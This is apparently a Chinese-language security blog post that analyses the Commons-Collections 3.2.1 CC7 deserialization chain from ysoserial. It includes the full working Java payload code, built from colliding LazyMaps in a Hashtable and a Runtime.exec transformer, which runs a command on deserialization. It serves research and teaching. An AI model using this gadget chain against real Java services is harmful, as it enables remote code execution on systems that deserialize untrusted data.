前言
YsoSerial Common-Collection3.2.1 反序列化利用鏈終於來到最後一個,回顧一下:
- 以InvokerTranformer為基礎通過動態代理觸發AnnotationInvocationHandler裡面的Invoker方法呼叫LazyMap get方式的CC1
- 以TemplatesImpl為基礎,通過TrAXFilter、InstantiateTransformer組合繫結LazyMap動態代理觸發AnnotationInvocationHandler#Invoker方法方式的CC3
- 在CC1 Lazymap的基礎上進一步包裝成TiedMapEntry,並以BadAttributeValueExpException呼叫TiedMapEntry#toString方法的CC5
- 在CC5基礎上將觸發換成HashMap呼叫hashCode方式的CC6
呼叫棧
接下來先看下cc7的程式碼
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
抓一下呼叫棧,可以看到依次呼叫的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然後呼叫LazyMap的get方法。
其實呼叫鏈出來後一切都索然無味了,但我們還是要分析下呼叫鏈各個環節的一些關鍵點,首先看下Hashtable的readObject方法原始碼:
首先從序列化資料裡面讀取了elements,然後for迴圈便利elements次讀取序列化裡面的key、value值,這個elements和key、value分別是什麼東西呢,找到writeObject尋找答案:
寫入了類變數count、然後迭代分別寫入了類變數table中entry的key、value,其實就是hashtable中的key、value,只不過內部實現是通過entry連結串列實現,然後跟進reconstitutionPut
, 這裡有個key的關鍵方法e.key。equals
,結合前文我們分析過TiedMapEntry的equals可以觸發Lazymap的get進而RCE,其實直接使用TiedMapEntry#equal也是可以觸發的,這裡就不展開TiedMapEntry吧,沒啥太大的意義,就按照Ysoserial作者思路來。
挖掘利用鏈
前面文章介紹了LazyMap#Get()方法觸發RCE的方法,來回憶下LazyMap觸發的呼叫鏈,當LazyMap呼叫get方法是,回去尋找繫結LazyMap中的是否存在key,不存在就通過transform方法去生成,而這個transformer是惡意的,那就觸發命令執行:
其實下一步就放在有誰能夠呼叫lazyMap的get方法,除開之前介紹的tiedMapEntity之外,還有LazyMap本身也能呼叫,在LazyMap繫結的是HashMap的情況下,呼叫LazyMap#equals其實就是呼叫HashMap的介面AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到呼叫:
那觸發的方法擴充套件到誰呼叫LazyMap的equal就好了,而這就和HashTable就繫結起來了,HashTable的readObject裡面就有觸發,但要滿足兩個條件:
- table[index] 不為null。
- 因為&&是從左向右執行,所以要e.hash等於當前實參key的hash。
首先分析下Hashtable#readObject 的整體邏輯,因為在Hashtable中實現邏輯的Entry物件被transient修飾,所以序列化的時候不能將table資料放到序列化資料裡面,所以在writeObject時會單獨寫入key、value,readObject時重新put進entry當中。table的數量通過類變數count控制。
在迭代第一次傳入key、value時tab始終為空,所以要呼叫到equal至少要迭代兩次,也就要求table中的元素大於等於2,且兩個元素的key的hash值要一樣,那在構造除開hash一樣,還要求equals執行為false,不然就會用新元素的value替換舊元素,這樣table總的size就只為1,無法觸發反序列化RCE。
尋找hashCode()一樣,但又不相等的元素
那真的存在這樣的兩個值嗎?答案當然是存在,以String為例,我們看一下String的hashCode演算法
核心邏輯就是:
h=31*h + val[i]
h初始值為0,將字串拆分為字元,每次對結果乘以31再累加,那可以確定相同的h值,肯定對應不同的val[i]解,比如aa
和bB
,看一下結果:
那是不是我們就找到了符合作為Hashtable的key了,其實不是,我們想要執行的其實是Lazy Map的hashcode一致,內部其實是map的hashcode,找一下hashmap的實現,對key做hashcode,然後異或上value的hashcode:
其實只要key的hashcode一樣,然後value一樣就能滿足,試驗下:
結果:
創造兩個元素的HashTable
在上面已經找到hash一樣的HashMap的前提下,繫結到LazyMap上,然後分別push進HashTable,然後進行反序列化:
// Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
System.out.println(System.getProperty("java.version"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);
執行下,命令並沒有執行:
看樣子什麼地方出了問題,列印下Hashtable的size,發現size為1,說明第二次put的時候出了問題,除錯下發現問題出在了,AbstractMap上,因為我們為了避免序列化時執行命令將chainedTransfomer裡面的transfoemer陣列用constranTransfrom(1) 替代,命名為fakeTransfomer,而這個fakeTransformer執行後的結果為1,和hashtable的value1一致,所以會返回true。
hash和equl的判斷都為true,就會進入if分支,完成新舊變數替換,而不會新增元素,所以size始終為1
修改fakeTransfomer為一個空陣列,或者將hashTable的value為其他值,為了更通用這裡採用空陣列的方式:
Transformer[] fakeTransfomer = new Transformer[]{
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
再次執行,程式碼還是沒有執行,列印size也是2,是滿足條件的,但為啥命令沒有執行呢,再次除錯,發現問題出在了equal的判斷上,equal的判斷要求首先要滿足兩個hashMap的元素數量一致才能進行下一步的判斷,而在put時也會執行equal,呼叫到m.get()方法,而m是一個LazyMap,在LazyMap#get() 方法存在一個特性,就是在繫結到HashMap沒有這個元素的時候,動態新增一個這個沒有的元素,
所以在LazyMap2進行put操作時,會去get(lazyMap1.key),lazyMap1的key為"aa",所以lazyMap2會多一個aa為key,aa為value的元素(transformer陣列為空時的執行結果),在put後列印下lazyMap2驗證下:
果然,因為兩個map Size的判斷在前面,這樣就不會執行後續進行RCE的get方法
所以,需要我們在第二次put後,把第二個hashmap進行remove一個key為aa的操作,完整程式碼:
// Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
System.out.println(System.getProperty("java.version"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("aa");
System.out.println(hashtable.size());
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);
執行一下,命令成功執行:
YsoSerial的程式碼幾乎一致僅就把我這裡的aa和aB替換成yy和zZ。
總結
這篇文章分析了下CC7的原理,本來上週五應該就能發出文章的,但是卻因為文中那個fakeTransfomer的原因一直被卡住,不知道問題出在哪裡,找了很多朋友看也沒看出問題,最終還是老老實實一步一步的除錯才發現問題,以前只關注transformer的構造,沒關注最終的返回,難搞~,期間也去學習了下Java的值傳遞型別和HashMap實現原理等,消耗了比較長的時間。
這是Common-collections 3.2.1的最後一條利用鏈分析,這個也是沒有版本依賴的,我用jdk1.8u261也是能夠執行的,總結下程式碼中關鍵點:
- 要找到兩個元素hashcode一樣,但euqal的結果又為false的hashmap。
- 使用fakeTransfomer時要關注返回滿足HashTable元素大雨等於2。
- 在第二次put過後要對第二個HashMap進行remove(remove第一個hashmap的key)。
公眾號
歡迎關注我的公眾號